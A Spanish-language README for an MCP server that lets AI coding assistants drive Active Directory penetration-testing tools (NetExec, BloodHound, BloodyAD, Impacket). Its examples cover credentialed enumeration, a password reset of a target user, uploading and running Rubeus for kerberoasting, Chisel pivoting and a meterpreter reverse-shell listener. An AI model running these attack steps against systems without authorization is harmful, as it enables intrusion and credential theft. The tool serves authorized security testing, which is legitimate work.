🚀 AD Pentesting Orchestrator MCP
](https://www.python.org/downloads/)  
Professional Active Directory Penetration Testing Orchestrator con integración completa de herramientas de seguridad a través del Model Context Protocol (MCP).
✨ Características
- 🔧 Integración Real: NetExec, BloodHound, BloodyAD, Impacket
- 🎯 Servidor MCP: Compatible con Cursor, Claude, VS Code, Gemini CLI
- 🔍 Enumeración Completa: Usuarios, grupos, computadoras, políticas, ACLs
- 📊 Análisis BloodHound: Rutas de ataque, Kerberoasting, ACL abuse
- ⚔️ Explotación Controlada: Dry-run por defecto, seguro para testing
- 🖥️ CLI Integrado: Interfaz de línea de comandos completa
- 📝 Logging Profesional: Logs estructurados con timestamps
- 🌐 Multiplataforma: Windows, Linux, macOS
- 🎮 Gestión de Sesiones: Múltiples terminales simultáneas (Evil-WinRM, Chisel, Listeners)
- 🔄 Pivoting Automático: Configuración de túneles y proxies
- 📤 Upload/Download: Transferencia de archivos a sesiones remotas
📋 Requisitos
- Python 3.10 o superior
- NetExec/CrackMapExec (opcional pero recomendado)
- BloodHound + Neo4j (opcional para análisis avanzado)
- BloodyAD (opcional para explotación)
- Impacket (para ataques Kerberos)
📁 Estructura del Proyecto
ActiveDirectoryPentestingMCP/
├── src/ # Código fuente modular
│ ├── core/ # Módulos core (SessionManager)
│ ├── integrations/ # Integraciones (Impacket, Kerberos, Tools)
│ └── utils/ # Utilidades
├── docs/ # Documentación organizada
│ ├── guides/ # Guías detalladas
│ └── summaries/ # Resúmenes y reportes
├── examples/ # Ejemplos de uso
├── tests/ # Tests
└── ad_orchestrator_pro.py # Servidor MCP principalVer PROJECT_STRUCTURE.md para detalles completos.
🚀 Instalación Rápida
Opción 1: Instalación con pip (Recomendado)
# Clonar repositorio
git clone https://github.com/yourusername/ad-orchestrator-mcp.git
cd ad-orchestrator-mcp
# Instalar
pip install -e .
# O instalar desde PyPI (cuando esté publicado)
pip install ad-orchestrator-mcpOpción 2: Instalación manual
# Instalar dependencias
pip install -r requirements.txt
# Copiar configuración
cp .env.example .env
cp config.json config.json
# Editar .env con tus credenciales
nano .envOpción 3: Instalación automática en IDEs
Windows (PowerShell):
.\install.ps1 -IDE allLinux/macOS:
chmod +x install.sh
./install.sh allvalidate_environment()
Enumerar dominio completo
enumerate_domain( domain="CONTOSO.COM", dc_ip="192.168.1.10", username="administrator", password="Password123!" )
Analizar con BloodHound
analyze_bloodhound_paths( domain="CONTOSO.COM" )
Verificar credenciales
check_credentials( target="192.168.1.10", domain="CONTOSO.COM", username="testuser", password="testpass" )
Explotar con BloodyAD (DRY RUN)
exploit_with_bloodyad( domain="CONTOSO.COM", dc_ip="192.168.1.10", operator_user="admin", operator_password="pass", target_user="victim", action="set_password", new_password="NewPass123!", dry_run=True # Simulación segura )
### Gestión de Sesiones Múltiples (NUEVO)
Crear sesión Evil-WinRM en terminal separada
session = create_session( session_type="evil-winrm", target="192.168.1.100", port=5985, username="administrator", password="Password123!" )
Subir Rubeus.exe
upload_file_to_session( session_id="evil-winrm_1", local_path="tools/Rubeus.exe", remote_path="C:\\Windows\\Temp\\Rubeus.exe" )
Ejecutar Rubeus
execute_in_session( session_id="evil-winrm_1", command="C:\\Windows\\Temp\\Rubeus.exe kerberoast" )
Configurar pivoting completo (Evil-WinRM + Chisel)
pivoting = setup_pivoting_workflow( target="192.168.1.100", username="administrator", password="Password123!", chisel_server="10.10.14.5", chisel_port=8080 )
Configurar listener para reverse shell
listener = setup_reverse_shell_listener( lhost="10.10.14.5", lport=4444, payload_type="windows/meterpreter/reverse_tcp" )
Listar sesiones activas
sessions = list_active_sessions()
## ⚙️ Configuración
### Variables de Entorno (.env)
BloodHound
BH_URI=bolt://localhost:7687 BH_USER=neo4j BH_PASSWORD=bloodhoundcommunityedition
Logging
LOG_LEVEL=DEBUG
Security
DRY_RUN=true LOG_PASSWORDS=false
### Archivo de Configuración (config.json)
{ "bloodhound": { "uri": "bolt://localhost:7687", "user": "neo4j", "password": "bloodhoundcommunityedition" }, "security": { "dry_run_by_default": true, "log_passwords": false } }
## 🔧 Herramientas Integradas
### NetExec/CrackMapExecInstalar NetExec
pip install netexec
O CrackMapExec
pip install crackmapexec
### BloodHoundIniciar Neo4j con Docker
docker run -d \ -p 7687:7687 -p 7474:7474 \ --name neo4j \ -e NEO4J_AUTH=neo4j/bloodhoundcommunityedition \ neo4j:latest
### BloodyADpip install bloodyad
## 📊 Ejemplos de Uso
### Ejemplo 1: Enumeración Básica
ad-orchestrator --enumerate \ --domain CONTOSO.COM \ --dc 192.168.1.10 \ -u lowpriv_user \ -p 'UserPass123'
### Ejemplo 2: Análisis Completo con BloodHound
En tu IDE con MCP
results = analyze_bloodhound_paths(domain="CONTOSO.COM")
Ver rutas a Domain Admin
print(results["shortest_paths"])
Ver usuarios Kerberoastable
print(results["kerberoastable_users"])
Ver oportunidades de ACL abuse
print(results["acl_abuse_opportunities"])
### Ejemplo 3: Workflow Completo
1. Validar entorno
validate_environment()
2. Enumerar dominio
enum_results = enumerate_domain( domain="CONTOSO.COM", dc_ip="192.168.1.10", username="admin", password="pass" )
3. Analizar con BloodHound
bh_results = analyze_bloodhound_paths(domain="CONTOSO.COM")
4. Verificar credenciales encontradas
check_credentials( target="192.168.1.10", domain="CONTOSO.COM", username="found_user", password="found_pass" )
## 🔐 Seguridad
⚠️ **IMPORTANTE**: Esta herramienta está diseñada para pentesting autorizado.
- **Dry-run por defecto**: Todas las operaciones de explotación se simulan primero
- **Logging completo**: Todas las acciones se registran
- **Sin contraseñas en logs**: Las credenciales se redactan automáticamente
- **Validación de entorno**: Verifica herramientas antes de ejecutar
### Uso Responsable
✅ CORRECTO: Dry-run primero
exploit_with_bloodyad(..., dry_run=True)
⚠️ CUIDADO: Solo en entornos autorizados
exploit_with_bloodyad(..., dry_run=False)
## 🧪 Testing
Instalar dependencias de desarrollo
pip install -e ".[dev]"
Ejecutar tests
pytest
Con cobertura
pytest --cov=ad_orchestrator_pro --cov-report=html
Linting
black ad_orchestrator_pro.py flake8 ad_orchestrator_pro.py mypy ad_orchestrator_pro.py
## 📚 Documentación
- [Guía de Instalación](README-setup.md)
- [Referencia de API](docs/API.md) (próximamente)
- [Ejemplos Avanzados](examples/) (próximamente)
- [Troubleshooting](docs/TROUBLESHOOTING.md) (próximamente)
## 🤝 Contribuir
¡Las contribuciones son bienvenidas! Por favor:
1. Fork el repositorio
2. Crea una rama para tu feature (`git checkout -b feature/AmazingFeature`)
3. Commit tus cambios (`git commit -m 'Add AmazingFeature'`)
4. Push a la rama (`git push origin feature/AmazingFeature`)
5. Abre un Pull Request
Ver [CONTRIBUTING.md](CONTRIBUTING.md) para más detalles.
## 📝 Changelog
### v2.0.0 (2025-01-14)
- ✨ Servidor MCP completo con FastMCP
- ✨ CLI integrado con argparse
- ✨ Integración real con NetExec, BloodHound, BloodyAD
- ✨ Validación de entorno automática
- ✨ Configuración externa (.env, config.json)
- ✨ Logging profesional a archivo
- ✨ Setup.py y pyproject.toml para instalación
- 🐛 Correcciones de bugs críticos
- 📚 Documentación completa
## 📄 Licencia
Este proyecto está licenciado bajo la Licencia MIT - ver [LICENSE](LICENSE) para detalles.
## ⚠️ Disclaimer
**Esta herramienta es solo para pentesting autorizado y investigación de seguridad.**
El acceso no autorizado a sistemas informáticos es ilegal. Los autores y contribuidores no son responsables del mal uso o daños causados por este software. Úsalo bajo tu propio riesgo y solo en sistemas para los que tengas permiso explícito de prueba.
## 🙏 Agradecimientos
- [NetExec](https://github.com/Pennyw0rth/NetExec) - Herramienta de pentesting de redes
- [BloodHound](https://github.com/BloodHoundAD/BloodHound) - Análisis de AD
- [BloodyAD](https://github.com/CravateRouge/bloodyAD) - Framework de explotación AD
- [Impacket](https://github.com/fortra/impacket) - Colección de clases Python
- [FastMCP](https://github.com/jlowin/fastmcp) - Framework MCP
## 📞 Soporte
- 🐛 [Reportar Bug](https://github.com/yourusername/ad-orchestrator-mcp/issues)
- 💡 [Solicitar Feature](https://github.com/yourusername/ad-orchestrator-mcp/issues)
- 💬 [Discusiones](https://github.com/yourusername/ad-orchestrator-mcp/discussions)
---
**Hecho con ❤️ por el equipo de seguridad**